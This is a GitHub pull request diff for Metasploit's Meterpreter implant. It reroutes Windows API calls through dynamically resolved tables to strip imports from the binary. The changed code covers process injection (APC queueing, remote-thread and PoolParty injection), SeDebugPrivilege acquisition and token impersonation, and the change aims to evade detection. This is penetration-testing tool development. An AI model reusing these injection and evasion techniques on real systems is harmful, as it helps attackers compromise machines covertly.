Skip to content

Removing imports from the IAT in metsrv #810

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
dledda-r7 wants to merge 2 commits into
base: master
Choose a base branch
from
Open

Removing imports from the IAT in metsrv #810

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
1ba3b59
feat(metsrv): removing some imports from IAT, improving GetProcAddressH
dledda-r7 Aug 11, 2026
6af3280
feat(metsrv): refactor CryptAcquireContext calls for better compatibi…
dledda-r7 Aug 11, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 65 additions & 2 deletions c/meterpreter/source/common/common_winapi.h
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#ifndef _METERPRETER_COMMON_WINAPI_H
#define _METERPRETER_COMMON_WINAPI_H
#include <winsock2.h> // For SOCKET, WSADATA, sockaddr, WSAPROTOCOL_INFOA
#include <ws2tcpip.h> // For ADDRINFOA / PADDRINFOA
#include <windows.h>
#if !defined(__WINE_WINHTTP_H) && !defined(_WINHTTPX_)
#include <wininet.h>
Expand Down Expand Up @@ -48,9 +49,22 @@ typedef struct _WinApiNtdll {
NTSTATUS (*ZwProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
NTSTATUS (*ZwQueryVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength);
NTSTATUS (*ZwFreeVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
NTSTATUS (*NtQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2);
NTSTATUS (*NtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId);
NTSTATUS (*ZwQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2);
NTSTATUS (*ZwOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId);
NTSTATUS (*RtlGetVersion)(PRTL_OSVERSIONINFOEXW os);
NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
NTSTATUS (*ZwQueryObject)(HANDLE Handle, INT ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
NTSTATUS (*ZwQueryInformationWorkerFactory)(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength, PULONG ReturnLength);
NTSTATUS (*ZwSetInformationWorkerFactory)(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength);
NTSTATUS (*ZwSetIoCompletion)(HANDLE IoCompletionHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation);
NTSTATUS (*RtlCreateUserThread)(HANDLE ProcessHandle, PVOID SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, SIZE_T StackReserve, SIZE_T StackCommit, PVOID StartAddress, PVOID StartParameter, PHANDLE ThreadHandle, PVOID ClientId);
NTSTATUS (*ZwMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
NTSTATUS (*ZwCreateSection)(PHANDLE SectionHandle, ULONG DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
NTSTATUS (*ZwOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes);
NTSTATUS (*ZwOpenFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, PVOID IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions);
NTSTATUS (*ZwQueryAttributesFile)(OBJECT_ATTRIBUTES* ObjectAttributes, PVOID FileInformation);
NTSTATUS (*ZwClose)(HANDLE Handle);
NTSTATUS (*ZwLockVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PULONG RegionSize, ULONG MapType);
} WinApiNtdll;

// kernel32.dll
Expand Down Expand Up @@ -90,6 +104,32 @@ typedef struct _WinApiKernel32 {
HANDLE (*CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
BOOL (*ResetEvent)(HANDLE hEvent);
BOOL (*SetThreadErrorMode)(DWORD dwNewMode, LPDWORD lpOldMode);
HMODULE (*GetModuleHandleA)(LPCSTR lpModuleName);
HANDLE (*CreateFileW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
HANDLE (*CreateNamedPipeW)(LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
HANDLE (*CreateEventA)(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName);
HANDLE (*CreateEventW)(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName);
BOOL (*SetEvent)(HANDLE hEvent);
DWORD (*WaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
VOID (*Sleep)(DWORD dwMilliseconds);
HANDLE (*GetProcessHeap)(VOID);
LPVOID (*HeapAlloc)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
BOOL (*HeapFree)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
BOOL (*IsWow64Process)(HANDLE hProcess, PBOOL Wow64Process);
BOOL (*ProcessIdToSessionId)(DWORD dwProcessId, DWORD* pSessionId);
LPVOID (*HeapReAlloc)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
HLOCAL (*LocalAlloc)(UINT uFlags, SIZE_T uBytes);
VOID (*GetSystemTime)(LPSYSTEMTIME lpSystemTime);
BOOL (*SystemTimeToFileTime)(const SYSTEMTIME* lpSystemTime, LPFILETIME lpFileTime);
int (*MultiByteToWideChar)(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
int (*WideCharToMultiByte)(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);
BOOL (*PeekNamedPipe)(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage);
BOOL (*SetNamedPipeHandleState)(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout);
BOOL (*ReleaseMutex)(HANDLE hMutex);
HANDLE (*CreateMutexA)(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName);
HANDLE (*CreateMutexW)(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName);
BOOL (*TerminateThread)(HANDLE hThread, DWORD dwExitCode);
int (*lstrcmpW)(LPCWSTR lpString1, LPCWSTR lpString2);
} WinApiKernel32;

// advapi32.dll
Expand All @@ -113,19 +153,25 @@ typedef struct _WinApiAdvApi32 {
BOOL (*SetSecurityDescriptorDacl)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted);
BOOL (*SetSecurityDescriptorSacl)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bSaclPresent, PACL pSacl, BOOL bSaclDefaulted);
BOOL (*LookupPrivilegeValueW)(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);
BOOL (*CryptAcquireContextA)(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags);
BOOL (*CryptAcquireContextW)(HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags);
BOOL (*AddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid);
} WinApiAdvApi32;

// crypt32.dll
typedef struct _WinApiCrypt32 {
BOOL (*CryptDecodeObjectEx)(DWORD dwCertEncodingType, LPCSTR lpszStructType, const BYTE* pbEncoded, DWORD cbEncoded, DWORD dwFlags, PCRYPT_DECODE_PARA pDecodePara, void* pvStructInfo, DWORD* pcbStructInfo);
BOOL (*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY* phKey);
BOOL (*CertGetCertificateContextProperty)(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void* pvData, DWORD* pcbData);
BOOL (*CryptBinaryToStringA)(const BYTE* pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD* pcchString);
BOOL (*CryptStringToBinaryA)(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags);
} WinApiCrypt32;

// user32.dll
typedef struct _WinApiUser32 {
BOOL (*GetUserObjectInformationA)(HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength, LPDWORD lpnLengthNeeded);
HDESK (*GetThreadDesktop)(DWORD dwThreadId);
HWINSTA (*GetProcessWindowStation)(VOID);
} WinApiUser32;

// ws2_32.dll
Expand All @@ -137,6 +183,20 @@ typedef struct _WinApiWs2_32 {
int (*setsockopt)(SOCKET s, int level, int optname, const char* optval, int optlen);
int (*recv)(SOCKET s, char* buf, int len, int flags);
int (*WSADuplicateSocketA)(SOCKET s, DWORD dwProcessId, LPWSAPROTOCOL_INFOA lpProtocolInfo);
int (*send)(SOCKET s, const char* buf, int len, int flags);
int (*bind)(SOCKET s, const struct sockaddr* name, int namelen);
int (*listen)(SOCKET s, int backlog);
int (*closesocket)(SOCKET s);
int (*select)(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout);
struct hostent* (*gethostbyname)(const char* name);
int (*getaddrinfo)(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult);
VOID (*freeaddrinfo)(PADDRINFOA pAddrInfo);
u_short (*htons)(u_short hostshort);
u_long (*htonl)(u_long hostlong);
u_long (*ntohl)(u_long netlong);
unsigned long (*inet_addr)(const char* cp);
int (*WSAGetLastError)(VOID);
char* (*inet_ntoa)(struct in_addr in);
} WinApiWs2_32;

// wininet.dll
Expand All @@ -150,6 +210,7 @@ typedef struct _WinApiWinInet {
BOOL (*InternetReadFile)(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
BOOL (*InternetCloseHandle)(HINTERNET hInternet);
BOOL (*InternetCrackUrlW)(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW lpUrlComponents);
BOOL (*HttpQueryInfoA)(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex);
} WinApiWinInet;

// rpcrt4.dll
Expand All @@ -171,6 +232,8 @@ typedef struct _WinApiWinHttp {
BOOL (*WinHttpReadData)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
BOOL (*WinHttpQueryOption)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, LPDWORD lpdwBufferLength);
BOOL (*WinHttpCrackUrl)(LPCWSTR pwszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTS lpUrlComponents);
BOOL (*WinHttpCloseHandle)(HINTERNET hInternet);
BOOL (*WinHttpWriteData)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten);
} WinApiWinHttp;

// Top-level container for all dynamically resolved APIs.
Expand Down
2 changes: 1 addition & 1 deletion c/meterpreter/source/metsrv/base.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -295,7 +295,7 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet)
// Impersonate the thread token if needed (only on Windows)
if (remote->server_token != remote->thread_token)
{
if (!ImpersonateLoggedOnUser(remote->thread_token))
if (!met_api->win_api.advapi32.ImpersonateLoggedOnUser(remote->thread_token))
{
dprintf("[COMMAND] Failed to impersonate thread token (%u) (%u)", commandId, GetLastError());
}
Expand Down
8 changes: 4 additions & 4 deletions c/meterpreter/source/metsrv/base_dispatch.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -426,16 +426,16 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch);

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
if (met_api->win_api.advapi32.OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
TOKEN_PRIVILEGES priv = { 0 };

priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
if (met_api->win_api.advapi32.LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &priv.Privileges[0].Luid))
{
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
if (met_api->win_api.advapi32.AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
{
dprintf("[MIGRATE] Got SeDebugPrivilege!");
}
Expand Down Expand Up @@ -476,7 +476,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

// Create a notification event that we'll use to know when it's safe to exit
// (once the socket has been referenced in the other process)
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
hEvent = met_api->win_api.kernel32.CreateEventA(NULL, TRUE, FALSE, NULL);
if (!hEvent)
{
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
Expand Down
31 changes: 9 additions & 22 deletions c/meterpreter/source/metsrv/base_inject.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -119,8 +119,6 @@ BYTE poolparty_stub_x86[] = {0x55,0x53,0x57,0x56,0x89,0xe6,0xfc,0xe9,0xbd,0x00,0
DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HMODULE hNtdll = NULL;
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
HANDLE hThreadSnap = NULL;
LPVOID lpApcStub = NULL;
LPVOID lpRemoteApcStub = NULL;
Expand Down Expand Up @@ -247,14 +245,6 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
}

hNtdll = met_api->win_api.kernel32.LoadLibraryA( "ntdll" );
if( !hNtdll )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )

pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
if( !pNtQueueApcThread )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )

hThreadSnap = met_api->win_api.kernel32.CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if( !hThreadSnap )
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )
Expand Down Expand Up @@ -304,14 +294,14 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
if( met_api->win_api.ntdll.ZwQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
{
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
dprintf("[INJECT] inject_via_apcthread: ZwQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
dwResult = ERROR_SUCCESS;
}
else
{
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID );
dprintf("[INJECT] inject_via_apcthread: ZwQueueApcThread for thread %d Failed.", t.th32ThreadID );
}
}
else
Expand All @@ -335,7 +325,7 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
packet_transmit_response( ERROR_SUCCESS, remote, response );

// Sleep to give the remote side a chance to catch up...
Sleep( 2000 );
met_api->win_api.kernel32.Sleep( 2000 );
}

if( thread_list )
Expand All @@ -357,9 +347,6 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
if( hThreadSnap )
met_api->win_api.kernel32.CloseHandle( hThreadSnap );

if( hNtdll )
met_api->win_api.kernel32.FreeLibrary( hNtdll );

SetLastError( dwResult );

return dwResult;
Expand Down Expand Up @@ -495,7 +482,7 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces

dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
// Sleep to give the remote side a chance to catch up...
Sleep(2000);
met_api->win_api.kernel32.Sleep(2000);
}

dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
Expand Down Expand Up @@ -530,7 +517,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW

LPVOID lpStub = NULL;
DWORD dwStubSize = 0;
HANDLE hHeap = GetProcessHeap();
HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap();


if (!supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch)) {
Expand Down Expand Up @@ -560,7 +547,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_INVALID_FUNCTION);
}

hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
hTriggerEvent = met_api->win_api.kernel32.CreateEventA(NULL, TRUE, FALSE, NULL);
if (!hTriggerEvent)
{
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed");
Expand Down Expand Up @@ -617,10 +604,10 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW

dprintf("[INJECT] inject_via_poolparty: Sleeping for two seconds...");
// Sleep to give the remote side a chance to catch up...
Sleep(2000);
met_api->win_api.kernel32.Sleep(2000);

}
SetEvent(hTriggerEvent);
met_api->win_api.kernel32.SetEvent(hTriggerEvent);
SetLastError(dwResult);
met_api->win_api.kernel32.CloseHandle(hTriggerEvent);

Expand Down
4 changes: 2 additions & 2 deletions c/meterpreter/source/metsrv/channel.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -274,7 +274,7 @@ DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk,
break;
}

idNbo = htonl(channel_get_id(channel));
idNbo = met_api->win_api.ws2_32.htonl(channel_get_id(channel));

entries[0].header.type = TLV_TYPE_CHANNEL_ID;
entries[0].header.length = sizeof(DWORD);
Expand Down Expand Up @@ -436,7 +436,7 @@ DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet,
// Get the number of bytes written to the channel
if ((packet_get_tlv(packet, TLV_TYPE_LENGTH, &lengthTlv) == ERROR_SUCCESS) && (lengthTlv.header.length >= sizeof(DWORD)))
{
length = ntohl(*(LPDWORD)lengthTlv.buffer);
length = met_api->win_api.ws2_32.ntohl(*(LPDWORD)lengthTlv.buffer);
}

res = comp->routine.write(remote, channel, comp->context, result, length);
Expand Down
Loading
Loading